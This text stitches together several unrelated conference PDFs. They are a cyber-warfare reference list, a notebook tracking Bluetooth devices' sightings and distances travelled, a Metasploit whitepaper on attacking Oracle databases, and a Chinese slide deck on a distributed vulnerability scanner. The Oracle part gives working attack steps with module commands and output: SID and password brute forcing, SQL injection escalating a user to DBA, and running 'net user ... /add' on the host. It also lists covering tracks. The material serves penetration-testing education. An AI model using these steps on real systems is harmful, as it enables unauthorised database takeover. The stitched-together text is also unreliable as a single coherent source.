war.” Wall Street Journal. Gorman, S. (2009, Aug 17) “Cyber Attacks on Georgia Used Facebook, Twitter, Stolen IDs.” Wall Street Journal. “International cyber exercise takes place in Tajikistan.” (2009, Aug 6). BBC Monitoring Central Asia. (Avesta website, Dushanbe) References cont’d Keizer, G. (2009, Jan 28). “Russian ‘cyber militia’ knocks Kyrgyzstan offline.” Computerworld. Lam, F., Beekey, M., & Cayo, K. (2003). “Can you hack it?” Security Management, 47(2), p. 83. Lawlor, M. (2004). “Information Systems See Red.” Signal 58(6), p. 47. Lewis, J.A. (2010) “The Cyber War Has Not Begun.” Center for Strategic and International Studies. Libicki, M. (2009). “Sub Rosa Cyber War.“ The Virtual Battlefield: Perspectives on Cyber Warfare. Meserve, J. (2007, Sep 26). “Sources: Staged cyber attack reveals vulnerability in power grid.” CNN. Orr, R. (2007, Aug 2). “Computer voting machines on trial.” Knight Ridder Tribune Business News. Preimesberger, C. “Plugging Holes.” (2006). eWeek, 23(35), p. 22. “Remarks by the President on Securing our Nation's Cyber Infrastructure.” (2009). The White House: Office of the Press Secretary. “Tracking GhostNet: Investigating a Cyber Espionage Network.” (2009). Information Warfare Moni-tor. Verton, D. (2003) “Black ice.” Computerworld, 37(32), p. 35. Verton, D. (2002). The Hacker Diaries: Confessions of Teenage Hackers. New York: McGraw-Hill/Osborne. Wagner, D. (2010, May 9). “White House sees no cyber attack on Wall Street.” Associated Press. Waterman, S. (2008, Mar 10). “DHS stages cyberwar exercise.” UPI. “‘USA Today’ Website Hacked; Pranksters Mock Bush, Christianity.” (2002, JUL 11). Drudge Report. Live-Fire Exercise: Baltic Cyber Shield 2010 Kenneth Geers Naval Criminal Investigative Service (NCIS) Cooperative Cyber Defence Centre of Excellence (CCD COE)
pdf
7/7/13 IPython Notebook localhost:8888/a1253220-71b8-49cd-bd84-1d0edbd6bd60/print 1/7 In [56]: In [57]: High level stats In [58]: Epoc to datetime In [60]: In [61]: Device discovery over time In [62]: import pandas import json import os import datetime #the following is the path to your client json files data_path="../../data/json_archive" has_json_ext = lambda x: True if os.path.splitext(x)[-1] == ".json" else False data_list=[] for path, deeper_dirs, filenames in os.walk(data_path): for filename in filter(has_json_ext, filenames): f = open(os.path.join(path, filename), 'r') json_data = json.load(f) f.close() data_list.append(json_data) df = pandas.DataFrame(data_list) uniq_devs = df["bluetoothAddress"].nunique() total_entries = len(df) print "%-25s %-25s" % ("Uniq Devs:", uniq_devs) print "%-25s %-25s" % ("Total Sightings:", total_entries) Uniq Devs: 2489 Total Sightings: 9362 epoc_to_datetime = lambda x:datetime.datetime.fromtimestamp(float(x)) df["timestamp"] = df.timestamp.apply(epoc_to_datetime) df.head() Out[61]: <class 'pandas.core.frame.DataFrame'> Int64Index: 5 entries, 0 to 4 Data columns (total 10 columns): bluetoothAddress 5 non-null values bluetoothName 5 non-null values clientType 0 non-null values clientVersion 0 non-null values deviceMajor 0 non-null values deviceMinor 0 non-null values latatude 5 non-null values longitude 5 non-null values timestamp 5 non-null values type 0 non-null values dtypes: datetime64[ns](1), float64(3), object(6) all_devs = df[["timestamp"]] all_devs.sort("timestamp") all_devs = all_devs.set_index("timestamp") all_devs["total"] = 1 all_devs["total"] = all_devs.total.cumsum() fig = all_devs.plot(figsize=(15,5)) fig.set_title("Cumulitive sightings over time") Out[62]: <matplotlib.text.Text at 0x1087b4a50> 7/7/13 IPython Notebook localhost:8888/a1253220-71b8-49cd-bd84-1d0edbd6bd60/print 2/7 In [63]: In [64]: Unique discovery over time In [65]: all_devs = df[["timestamp"]] all_devs["timestamp"] = df.timestamp.apply(lambda x: x.date()) grouped = all_devs.groupby("timestamp") all_by_day = grouped.size() fig = all_by_day.plot(figsize=(15,5)) fig.set_title("Sightings by day") Out[63]: <matplotlib.text.Text at 0x1097705d0> all_devs = df["timestamp"] ts = pandas.Series(0, all_devs) all_by_day += ts.resample('D') fig = all_by_day.plot(kind="bar", figsize=(15,5)) fig.set_title("Sightings by day (with NA)") Out[64]: <matplotlib.text.Text at 0x1097441d0> uniq_devs = df.groupby("bluetoothAddress") uniq_devs = uniq_devs.timestamp.min() uniq_devs = uniq_devs.reset_index() uniq_devs = uniq_devs[["timestamp"]] 7/7/13 IPython Notebook localhost:8888/a1253220-71b8-49cd-bd84-1d0edbd6bd60/print 3/7 In [66]: In [67]: uniq_devs.sort("timestamp") uniq_devs = uniq_devs.set_index("timestamp") uniq_devs["total"] = 1 uniq_devs["total"] = uniq_devs.total.cumsum() fig = uniq_devs.plot(figsize=(15,5)) fig.set_title("Cumulitive unique over time") Out[65]: <matplotlib.text.Text at 0x1098a7dd0> uniq_devs = df.groupby("bluetoothAddress") uniq_devs = uniq_devs.timestamp.min() uniq_devs = uniq_devs.reset_index() uniq_devs = uniq_devs[["timestamp"]] uniq_devs["timestamp"] = uniq_devs.timestamp.apply(lambda x: x.date()) grouped = uniq_devs.groupby("timestamp") uniq_by_day = grouped.size() fig = uniq_by_day.plot(figsize=(15,5)) fig.set_title("Unique sightings by day") Out[66]: <matplotlib.text.Text at 0x109a486d0> uniq_devs = df.groupby("bluetoothAddress") uniq_devs = uniq_devs.timestamp.min() uniq_devs = uniq_devs.reset_index() uniq_devs = uniq_devs[["timestamp"]] ts = pandas.Series(0, uniq_devs["timestamp"]) ts = ts.resample('D') uniq_devs["timestamp"] = uniq_devs.timestamp.apply(lambda x: x.date()) grouped = uniq_devs.groupby("timestamp") uniq_by_day = grouped.size() uniq_by_day += ts fig = uniq_by_day.plot(figsize=(15,5), kind='bar') fig.set_title("Unique sightings by day (with NA)") Out[67]: <matplotlib.text.Text at 0x109d23f10> 7/7/13 IPython Notebook localhost:8888/a1253220-71b8-49cd-bd84-1d0edbd6bd60/print 4/7 Device sighting prev In [68]: Device movement In [81]: In [82]: prev = df.groupby("bluetoothAddress") prev = prev.size() prev = prev.reset_index() prev.columns = ["bluetoothAddress", "prev"] df_w_prev = pandas.merge(df, prev, on="bluetoothAddress") df_w_prev.head() Out[68]: <class 'pandas.core.frame.DataFrame'> Int64Index: 5 entries, 0 to 4 Data columns (total 11 columns): bluetoothAddress 5 non-null values bluetoothName 5 non-null values clientType 0 non-null values clientVersion 0 non-null values deviceMajor 0 non-null values deviceMinor 0 non-null values latatude 5 non-null values longitude 5 non-null values timestamp 5 non-null values type 0 non-null values prev 5 non-null values dtypes: datetime64[ns](1), float64(3), int64(1), object(6) import math def distance(origin, destination): lat1, lon1 = origin lat2, lon2 = destination radius = 6371 # km dlat = math.radians(lat2-lat1) dlon = math.radians(lon2-lon1) a = math.sin(dlat/2) * math.sin(dlat/2) + math.cos(math.radians(lat1)) \ * math.cos(math.radians(lat2)) * math.sin(dlon/2) * math.sin(dlon/2) c = 2 * math.atan2(math.sqrt(a), math.sqrt(1-a)) d = radius * c return d #TOP MOVERS... multi_sightings = df_w_prev[df_w_prev["prev"] > 1] multi_sightings["longitude"] = multi_sightings.longitude.apply(lambda x: abs(float(x))) multi_sightings["latatude"] = multi_sightings.latatude.apply(lambda x: abs(float(x))) ms_grouped = multi_sightings.groupby("bluetoothAddress") movement = ms_grouped.agg({"latatude":lambda x: x.max() - x.min(), "longitude":lambda x: x.max() - x.min(), "bluetoothName":lambda x: set(i for i in x), "prev":lambda x: x.max()}) movement["moved"] = movement["latatude"] + movement["longitude"] movement.sort("moved", ascending=False).head() Out[82]: <class 'pandas.core.frame.DataFrame'> Index: 5 entries, 00:05:4F:7A:9B:59 to 40:5F:BE:B2:40:F6 Data columns (total 5 columns): 7/7/13 IPython Notebook localhost:8888/a1253220-71b8-49cd-bd84-1d0edbd6bd60/print 5/7 In [83]: In [ ]: UAP stats most common uap In [73]: NAP stats most common nap In [74]: latatude 5 non-null values prev 5 non-null values bluetoothName 5 non-null values longitude 5 non-null values moved 5 non-null values dtypes: float64(3), int64(1), object(1) #Max Distance Traveled (also add in origin, dest lat/long in result) multi_sightings = df_w_prev[df_w_prev["prev"] > 1] multi_sightings["longitude"] = multi_sightings.longitude.apply(lambda x: float(x)) multi_sightings["latatude"] = multi_sightings.latatude.apply(lambda x: float(x)) ms_grouped = multi_sightings.groupby("bluetoothAddress") traveled_data = [] for device, group in ms_grouped: max_dist = 0 for i in range(len(group)): origin = (group.irow(i)["latatude"], group.irow(i)["longitude"]) for j in range(len(group)): destination = (group.irow(j)["latatude"], group.irow(j)["longitude"]) tmp = distance(origin, destination) if tmp > max_dist: max_dist = tmp traveled_data.append({"bluetoothAddress":device, "km_traveled":max_dist}) df2 = pandas.DataFrame(traveled_data) df2.sort("km_traveled", ascending=False).head() uap_df = pandas.DataFrame(df["bluetoothAddress"].drop_duplicates()) get_uap = lambda x: x.split(':')[2] uap_df["UAP"] = uap_df["bluetoothAddress"].apply(get_uap) uap_stats = uap_df.groupby("UAP").size() uap_stats = uap_stats.reset_index() uap_stats.columns = ["UAP","count"] uap_stats.sort("count", ascending=False).head() Out[73]: UAP count 73 4F 192 226 FC 85 162 B2 72 117 7E 62 145 A0 61 nap_df = pandas.DataFrame(df["bluetoothAddress"].drop_duplicates()) get_uap = lambda x: x.split(':')[2] get_nap = lambda x: ':'.join(x.split(':')[0:2]) nap_df["NAP"] = uap_df["bluetoothAddress"].apply(get_nap) nap_df["UAP"] = uap_df["bluetoothAddress"].apply(get_uap) nap_stats = nap_df.groupby("NAP").size() nap_stats = nap_stats.reset_index() nap_stats.columns = ["NAP","count"] nap_stats.sort("count", ascending=False).head() Out[74]: NAP count 5 00:05 182 32 00:22 97 71 10:C6 85 36 00:26 80 7/7/13 IPython Notebook localhost:8888/a1253220-71b8-49cd-bd84-1d0edbd6bd60/print 6/7 most common nap by uap In [75]: Vendor stats Anomalies same address diff names In [76]: Generic stats 29 00:1E 75 nap_df = pandas.DataFrame(df["bluetoothAddress"].drop_duplicates()) get_uap = lambda x: x.split(':')[2] get_nap = lambda x: ':'.join(x.split(':')[0:2]) nap_df["NAP"] = uap_df["bluetoothAddress"].apply(get_nap) nap_df["UAP"] = uap_df["bluetoothAddress"].apply(get_uap) nap_df.groupby(["UAP","NAP"]).size() Out[75]: UAP NAP 00 00:17 1 00:25 8 A8:06 2 01 00:24 2 2C:44 4 02 6C:9B 2 03 94:51 1 9C:DF 2 04 00:07 2 00:13 1 70:1A 3 78:CA 1 A0:4E 2 05 70:81 4 06 00:17 1 ... F8 8C:71 2 F9 38:59 1 C0:38 5 E4:7C 2 FA 88:9F 2 FB 00:21 2 00:25 1 FC 10:C6 83 18:9E 2 FD 00:1D 1 14:89 2 FE 00:16 1 00:21 3 3C:8B 6 FF 00:26 1 Length: 590, dtype: int64 #do all bluetooth APIs return generic names on bad reception? name_anom = df.groupby("bluetoothAddress") exclude = ["Handsfree", "Misc", "Computer", "Mobile Phone", "Laptop", "Headset", "PDA", "Peripheral", "Mouse", "Keyboard"] set_agg = lambda x: set(i for i in x if i not in exclude) name_anom = name_anom.bluetoothName.apply(set_agg) name_anom = name_anom.reset_index() name_anom.columns = ["bluetoothAddress", "names"] name_anom["name_count"] = name_anom.names.apply(len) name_anom = name_anom[name_anom["name_count"] > 1] name_anom.sort("name_count", ascending=False) Out[76]: <class 'pandas.core.frame.DataFrame'> Int64Index: 16 entries, 2407 to 16 Data columns (total 3 columns): bluetoothAddress 16 non-null values names 16 non-null values name_count 16 non-null values dtypes: int64(1), object(2) 7/7/13 IPython Notebook localhost:8888/a1253220-71b8-49cd-bd84-1d0edbd6bd60/print 7/7 most common names In [77]: Map example In [ ]: name_anom = df.groupby("bluetoothAddress") set_agg = lambda x: set(i for i in x) name_anom = name_anom.bluetoothName.apply(set_agg) name_anom = name_anom.reset_index() name_anom.columns = ["bluetoothAddress", "names"] name_dict = {} for i in name_anom["names"]: for j in i: if j in name_dict: name_dict[j] += 1 else: name_dict[j] = 1 formated_dict = {"name":[], "count":[]} excude = ["Handsfree", "Misc", "Computer", "Mobile Phone", "Laptop", "Headset", "PDA", "Peripheral"] for k,v in name_dict.iteritems(): if k in excude: continue formated_dict["name"].append(k) formated_dict["count"].append(v) name_df = pandas.DataFrame(formated_dict) name_df = name_df.set_index("name") name_df.sort("count", ascending=False)[:20].plot(kind='barh', figsize=(15,5)) Out[77]: <matplotlib.axes.AxesSubplot at 0x109faf9d0> # Get latest sighting for each device grouped = df.groupby("bluetoothAddress") latest_times = grouped.timestamp.max() latest_times = latest_times.reset_index() latest_times.columns = ["bluetoothAddress","timestamp"] latest_times["latest"]= True latest_times = latest_times.set_index(["bluetoothAddress", "timestamp"]) df["timestamp"] = df.timestamp.apply(pandas.tslib.Timestamp) df2 = df.set_index(["bluetoothAddress", "timestamp"]) latest_times = pandas.merge(latest_times, df2, left_index=True, right_index=True) latest_times[:20]
pdf
Oracle Penetration Testing Using the Metasploit Framework Chris Gates & Mario Ceballos Metasploit Project Abstract Over the years there have been tons of Oracle exploits, SQL Injection vulnerabilities, and post exploitation tricks and tools that had no order, methodology, or standardization, mainly just random .sql files. Additionally, none of the publicly available Pentest Frameworks have the ability to leverage built- in package SQL Injection vulnerabilities for privilege escalation, data extraction, or getting operating system access. In this whitepaper we will present an Oracle Pentesting Methodology and give you all the tools to break the "unbreakable" Oracle as Metasploit auxiliary modules. We've created your version and SID enumeration modules, account bruteforcing modules, ported all the public (and not so public) Oracle SQL Injection vulnerabilities into SQLI modules (with IDS evasion examples for 10g/11g), modules for OS interaction, and modules for automating some of our post exploitation tasks. The modules are currently only supported under Linux and OSX. Oracle Penetration Testing Methodology  Locate a system running Oracle.  Determine Oracle Version.  Determine Oracle SID.  Guess/Bruteforce USERNAME/PASS.  Privilege Escalation via SQL Injection.  Manipulate Data/Post Exploitation.  Cover Tracks. Locating an Oracle System You will typically find most Oracle installations by performing port scanning in the target netblock. The Oracle listener default port is 1521 but can listen on an port generally in the 1521-1540 range. You can also discover oracle instances by scanning other common Oracle ports. Review http://www.red- database-security.com/whitepaper/oracle_default_ports.html for common Oracle ports. Generally running a service scan will NOT give you the Oracle TNS Listener version but updated fingerprints for new versions of Nmap may yield versions in some situations. cg@attack:~$ nmap -sV 192.168.0.100-105 -p 1521 Starting Nmap 4.85BETA8 ( http://nmap.org ) at 2009-06-18 15:25 EDT Interesting ports on 192.168.0.100: PORT STATE SERVICE VERSION 1521/tcp open oracle-tns Oracle TNS Listener Interesting ports on 192.168.0.101: PORT STATE SERVICE VERSION 1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) You can also discover Oracle instances using search engines. Alex Kornbrust of Red-Database- Security has written two excellent whitepapers discussing this subject.1,2 TNS and Oracle Mixins for Metasploit. Two new mixins have been added to the Metasploit Trunk. The first mixin is a TNS mixin that allows Metasploit to craft TNS packets. The second mixin is an Oracle mixin that allows us to use some additional libaries to wrap Oracle commands. The TNS mixin is handy because it essentially replaces tnscmd.pl you can pass any data you want inside the TNS packet. Connect connect_data="(CONNECT_DATA=(COMMAND=VERSION))" pkt = tns_packet(connect_data) sock.put(pkt) sock.get_once res = sock.get_once(-1,2) puts res disconnect The Oracle mixin serves as the wrapper code for ruby-dbi, ruby-oci8, and the oracle sqlplus client. It handles connecting to the remote database, sending SQL queries and disconnecting. The core of this functionality is found in the prepare_exec() method. This method connects to the database using DBI DBI.connect( "DBI:OCI8://#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}", "#{datastore['DBUSER']}", "#{datastore['DBPASS']}" ) and then passes whatever data (SQL) you specify. function = " CREATE OR REPLACE FUNCTION #{p} RETURN NUMBER AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}'; COMMIT; RETURN(0); 1 http://www.red-database-security.com/wp/google_oracle_hacking_us.pdf 2 http://www.red-database-security.com/wp/yahoo_oracle_hacking_us.pdf END; " begin print_status("Sending function...") prepare_exec(function) end Determine Oracle Version using Metasploit Modules. A Oracle version scanner using the TNS mixin has been added to the Metasploit trunk. msf auxiliary(tnslsnr_version) > info Name: Oracle tnslsnr Service Version Query. Version: 6479 License: Metasploit Framework License (BSD) Provided by: CG Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 1521 yes The target port THREADS 1 yes The number of concurrent threads Description: This module simply queries the tnslsnr service for the Oracle build. msf auxiliary(tnslsnr_version) > set RHOSTS 192.168.0.100 RHOSTS => 192.168.0.100 msf auxiliary(tnslsnr_version) > run [*] Host 192.168.0.100 is running: 32-bit Windows: Version 10.2.0.1.0 - Production msf auxiliary(tnslsnr_version) > set RHOSTS 192.168.0.101 RHOSTS => 192.168.0.101 msf auxiliary(tnslsnr_version) > run [*] Host 192.168.0.101 is running: 32-bit Windows: Version 9.2.0.7.0 – Production msf auxiliary(tnslsnr_version) > set RHOSTS 192.168.0.102 RHOSTS => 192.168.0.102 msf auxiliary(tnslsnr_version) > run [*] Host 192.168.0.102 is running: Solaris: Version 10.2.0.1.0 - Production msf auxiliary(tnslsnr_version) > set RHOSTS 192.168.0.103 RHOSTS => 192.168.0.103 msf auxiliary(tnslsnr_version) > run [*] Host 192.168.0.103 is running: Linux: Version 11.1.0.6.0 - Production [*] Auxiliary module execution completed Determine Oracle SID using Metasploit Modules Oracle prior to 9.2.0.8 will just return the SID if requested. After 9.2.0.8 and for all new versions of Oracle you have to guess, bruteforce, or otherwise determine the SID. [*] Host 192.168.0.105 is running: 32-bit Windows: Version 9.2.0.1.0 – Production msf > use auxiliary/scanner/oracle/sid_enum msf auxiliary(sid_enum) set RHOSTS 192.168.0.105 RHOSTS => 192.168.0.105 msf auxiliary(sid_enum) > run [*] Identified SID for 192.168.0.105: PLSExtProc [*] Identified SID for 192.168.0.105: cyxt [*] Identified SERVICE_NAME for 192.168.0.105: PLSExtProc [*] Identified SERVICE_NAME for 192.168.0.105: cyxt [*] Identified SERVICE_NAME for 192.168.0.105: cyxtXDB [*] Auxiliary module execution completed Bruteforcing the SID We use the Service ID (SID) list from Red-Database-Security3 and perform a dictionary attack. msf auxiliary(sid_brute) > run [*] Starting brute force on 192.168.0.103, using sids from /home/cg/evil/msf3/dev/data/exploits/sid.txt... [*] Found SID 'ORCL' for host 192.168.0.103 [*] Auxiliary module execution completed Using other Oracle components to determine the SID We can use other Oracle servlets and applications to learn the SID if they are available. Enterprise Manger Console example: 3 http://www.red-database-security.com/scripts/sid.txt msf auxiliary(sid_enum) > run [-] TNS listener protected for 172.10.1.108... [*] Auxiliary module execution completed msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/oas_sid msf auxiliary(oas_sid) > run [*] Discovered SID: ‘orc10' for host 172.10.1.109 [*] Auxiliary module execution completed msf auxiliary(oas_sid) > Servelet/spy example: msf auxiliary(sid_enum) > run [-] TNS listener protected for 172.10.1.108... [*] Auxiliary module execution completed msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/spy_sid msf auxiliary(spy_sid) > run [*] Discovered SID: ‘orcl' for host 192.168.0.103 [*] Auxiliary module execution completed msf auxiliary(spy_sid) > Guess/Bruteforce USER/PASS We use Pete Finnigan’s default password list4 msf auxiliary(brute_login) > run . [-] ORA-01017: invalid username/password; logon denied [-] ORA-01017: invalid username/password; logon denied [*] Auxiliary module execution completed msf auxiliary(brute_login) > db_notes [*] Time: Sat May 30 08:44:09 -0500 2009 Note: host=172.10.1.109 type=BRUTEFORCED_ACCOUNT data=SCOTT/TIGER SQL Injection for Privilege Escalation msf > use auxiliary/sqli/oracle/dbms_export_extension msf auxiliary(dbms_export_extension) > info Name: SQL Injection via DBMS_EXPORT_EXTENSION. Version: $Revision:$ Provided by: MC Basic options: Name Current Setting Required Description 4 http://www.petefinnigan.com/default/default_password_list.htm ---- --------------- -------- ----------- SQL GRANT DBA TO SCOTT yes no SQL to run. DBPASS TIGER yes The password to authenticate as. DBUSER SCOTT yes The username to authenticate as. RHOST 127.0.0.1 yes The Oracle host. RPORT 1521 yes The TNS port. SID DEMO yes The sid to authenticate with. Description: This module will escalate a Oracle DB user to DBA by exploiting an sql injection bug in the DBMS_EXPORT_EXTENSION package. msf auxiliary(dbms_export_extension) > set RHOST 192.168.100.25 RHOST => 192.168.100.25 msf auxiliary(dbms_export_extension) > set SID UNLUCKY SID => UNLUCKY msf auxiliary(dbms_export_extension) > run [*] Sending package... [*] Done... [*] Sending body... [*] Done... [*] Sending declare... [*] Done... [*] Auxiliary module execution completed msf auxiliary(dbms_export_extension) > Verify it worked msf auxiliary(oracle_sql) > set SQL select * from user_role_privs SQL => select * from user_role_privs msf auxiliary(oracle_sql) > run [*] Sending SQL... [*] SCOTT,CONNECT,NO,YES,NO [*] SCOTT,DBA,NO,YES,NO <--New Privileges :-) [*] SCOTT,RESOURCE,NO,YES,NO [*] Done... [*] Auxiliary module execution completed msf auxiliary(oracle_sql) > Post Exploitation The primary module for post exploitation that will be released is the win32_exec module. This module creates a java class to execute system commands, executes those commands, then deletes the class. Similar to this: http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql. This technique is also discussed in the Oracle Hacker's Handbook by David Litchfield. msf auxiliary(win32exec) > set CMD "net user dba P@ssW0rd1234 /add“ CMD => net user dba P@ssW0rd1234 /add msf auxiliary(win32exec) > run [*] Creating MSF JAVA class... [*] Done... [*] Creating MSF procedure... [*] Done... [*] Sending command: 'net user dba P@ssW0rd1234 /add‘ [*] Done... [*] Auxiliary module execution completed Useful Site for Oracle Hacking http://www.red-database-security.com/ http://www.petefinnigan.com/ http://rawlab.mindcreations.com/ http://www.0xdeadbeef.info/ http://dsecrg.com/ http://www.databasesecurity.com/ http://www.davidlitchfield.com/security.htm http://www.ngssoftware.com/research/ http://sourceforge.net/projects/inguma http://www.oracleforensics.com/wordpress/ Dependency Installation Instructions Oracle Mixin Install Notes for Linux -tested on Ubuntu 8.10 & 9.04 -start with a working version of metasploit trunk ############################# # install oracle instantclient # http://www.oracle.com/technology/software/tech/oci/instantclient/index.html # recommend instantclient 10, this should allow you to talk with 8,9,10,&11 versions. ############################# Grab *Instant Client Package - Basic *Instant Client Package - SDK *Instant Client Package - SQL*Plus **not needed for metasploit but useful to have --unzip into /opt/oracle cg@segfault:~/$ cd /opt/oracle cg@segfault:/opt/oracle$ unzip /opt/oracle/oracle-instantclient- basic-10.2.0.4-1.i386.zip cg@segfault:/opt/oracle$ unzip /opt/oracle/oracle-instantclient- sqlplus-10.2.0.4-1.i386.zi cg@segfault:/opt/oracle$ unzip /opt/oracle/oracle-instantclient- devel-10.2.0.4-1.i386.zip it will unzip everything into /opt/oracle/instantclient_10_2/ create your symlink cg@segfault:/opt/oracle/instantclient_10_2$ ln -s libclntsh.so.10.1 libclntsh.so ######################## # Set up your enviroment ######################## .bashrc export PATH=$PATH:/opt/oracle/instantclient_10_2 export SQLPATH=/opt/oracle/instantclient_10_2 export TNS_ADMIN=/opt/oracle/instantclient_10_2 export LD_LIBRARY_PATH=/opt/oracle/instantclient_10_2 export ORACLE_HOME=/opt/oracle/instantclient_10_2 ######################## # Install ruby-dbi-0.1.1 # http://rubyforge.org/projects/ruby-dbi/ # http://rubyforge.org/frs/download.php/12368/dbi-0.1.1.tar.gz ######################## cg@segfault:~$ tar xvzf dbi-0.1.1.tar.gz cg@segfault:~$ cd ruby-dbi/ (Hint: Cat the ../ruby-dbi/README file in another terminal for reference) cg@segfault:~/ruby-dbi$ ruby setup.rb config --with=dbi,dbd_pg cg@segfault:~/ruby-dbi$ ruby setup.rb setup cg@segfault:~/ruby-dbi$ sudo ruby setup.rb install ######################## # Install ruby-oci8-1.0.0 # http://rubyforge.org/projects/ruby-oci8/ # http://rubyforge.org/frs/download.php/28396/ruby-oci8-1.0.0.tar.gz ######################## cg@segfault:~$ tar xvzf ruby-oci8-1.0.0.tar.gz cg@segfault:~$ cd ruby-oci8-1.0.0/ (Hint: Cat the ..ruby-oci8-1.0.0/README file in another terminal for reference) cg@segfault:~/ruby-oci8-1.0.0$ env cg@segfault:~/ruby-oci8-1.0.0$ LD_LIBRARY_PATH=/opt/oracle/instantclient_10_2/ cg@segfault:~/ruby-oci8-1.0.0$ export LD_LIBRARY_PATH cg@segfault:~/ruby-oci8-1.0.0$ env | grep LD_LIBRARY_PATH cg@segfault:~/ruby-oci8-1.0.0$ make cg@segfault:~/ruby-oci8-1.0.0$ sudo make install ######################## # verify sqlplus works ######################## cg@segfault:~$ sqlplus SQL*Plus: Release 10.2.0.4.0 - Production on Sun May 3 12:24:51 2009 Copyright (c) 1982, 2007, Oracle. All Rights Reserved. Enter user-name: ######################## # test the Oracle modules ######################## msf auxiliary(sql) > run [*] Sending SQL... [*] Oracle8i Enterprise Edition Release 8.1.7.0.0 - Production [*] PL/SQL Release 8.1.7.0.0 - Production [*] CORE 8.1.7.0.0 Production [*] TNS for Solaris: Version 8.1.7.0.0 - Production [*] NLSRTL Version 3.4.1.0.0 - Production [*] Done... [*] Auxiliary module execution completed msf auxiliary(sql) >
pdf
公司介绍: • 宜信——创立于2006年,从事普惠金融和财富管理事业的金融科技企业。在支付、 网贷、众筹、机器人投顾、智能保险、区块链等前沿领域积极布局,通过业务孵化和 产业投资参与全球金融科技创新。 • 成立十二年以来,始终坚持以理念创新、模式创新和技术创新服务中国高成长性人群、 大众富裕阶层和高净值人士,真正的让金融更美好。 宜人宜己,美好生活 部门介绍: • 宜信安全部直属于宜信总公司,承接总部及所有子公司的安全需求,为公司的业务安全保驾护航。 ※安全部成4年以来,弥补了公司安全基础建设的缺失,发展至今组建了覆盖网络、应用、主机、终端、 数据逐层渗透的前沿安全架构,每一步都凝聚着肩负亿万用户信息和财产安全的责任。 ※ 2018年我们在传统安全架构上引入了当前热点科技,将人工智能与大数据技术融合到当前的安全架构 中,将资产、漏洞、风控和管理有机结合到一起,构建用户画像,为实现安全态势感知与威胁情报预警 奠定了基础。 ※ 自研的【洞察】漏洞管理平台在GitHub上进行了开源,借此帮助更多金融科技的行业伙伴,完成自动 化风险全生命周期的管理并实现风险的可量化,共建互联网金融行业的安全生态。 • 产品、工具种类繁多,学习和切换成本较高 • 人工使用工具获取资产数据和进行结果处理耗时耗力 • 安全工具功能单一,且无法协同使用 安全产品学习和运维成本高 安全检测网络环境多样化 • IDC(多IDC ),办公网,公网……单一扫描节点无法满足复杂的需求 问题和痛点 疲于工具的学习和使用 乐于技能提高,专注风险本身 解决思路 0x01 谈谈分布式 基于任务队列的分布式扫描 1. 难以将扫描功能解耦合 2. 分发后聚合实现比较繁琐 3. 扫描模块调用接口不统一 基于MapReduce模型分布式扫描 1. 易于任务数据分片和结果聚合 2. 调用链使用简单 3. P2P方式进行数据传输,效率高 举个栗子 • 举例说明任务数据分片和任务链过程: 子域名扫描->端口扫描-> 弱口令扫描 域名1 域名2 域名n 域名 列表 子域名扫描 IP1 IP2 IPm 端口扫描 端口1 端口2 端口o 弱口令扫描 聚合 结果 … … … 异步执行 举个栗子 • 举例说明任务数据分片和任务链过程: 子域名扫描->端口扫描-> 弱口令扫描 域名1 域名2 域名n 域名 列表 子域名扫描 IP1 IP2 IPm 端口扫描 端口1 端口2 端口o 弱口令扫描 聚合 结果 … … … 异步执行 0x02 功能可扩展(易于开发) 插件开发 • 开发过程简化 • 将重复的工作抽象出来封装起来,例如安全通信,任务监控,数据传输等 等 • 提供协程,线程,进程任务执行粒度支持 • Python依赖自动检测并安装 • 结果保存为JSON方便后续使用 HelloWorld示例 任务状态 CRON表达式,任务参数,执行次 数,执行花销时间,优先级等信息 Blade扫描器与分布式平台 Agent Agent … Agent Blade Agent Scheduler 调 度 器 集 群 单 机 便于单机开发和测试 Blade扫描器-命令行模式 Blade扫描器-Web模式 插件易于分发 • 复用,一键打成Zip包和Zip包导入 • vs PoC 偏向于功能级别的插件 多种响应方式 • 平台响应 • 邮件响应 • 第三方即时通讯接口响应 平台响应 漏洞名称,描述以及扫描和更新时 间 邮箱响应 任务运行时的异常 第三方即时通信响应 0x03 架构可扩展 分布式架构 Ngnix Flask APP Web MSG Consumer DB Flask APP Flask APP Flask APP Scheduler MQ - Redis Agent Agent … Agent 负载均衡 授权通信 超时重传 压缩与序列化 JSON/TCP ZMQ+IOLOOP 异步高并发 通 信 层 调 度 层 Web 层 Gunicorn 前后端分离 JWT认证和鉴权 Python原生实现定时任务 SQLite 集 群 架构扩展 Ngnix Scheduler Redis Cluster Broker Scheduler Scheduler Agent Agent Agent Agent Agent Agent Gunicorn Load Balancing Web Flask APP Flask APP DB Proxy Consumer Gunicorn Web Flask APP Flask APP Consumer Gunicorn Web Flask APP Flask APP Consumer DB Write DB Read DB Read 0x04 节点可扩展 节点简单部署 • 1. 一键安装 pip install blade.whl • 2. 配置Scheduler Server地址并启动,如 192.168.1.2:5559 支持配置文件,方便使用自动化运维分发部署 如有环境依赖:提供Docker file生成 节点授权与通信 • TCP+JSON通信,自定义协议 • Scheduler授权,Token认证 节点授权与通信 节点位置,CPU使用率,负载,内 存使用率,CPU核数位置等 节点超时重传机制 • 支持节点与调度器之间进行单向通信 • 如果网络故障可保存数据尝试重连 • 超时时间可配置 0x05 展望 展望 • 1. 失效转移 • 2. 阻塞方式的数据转发(分布式同步请求服务) Get more information ↓
pdf
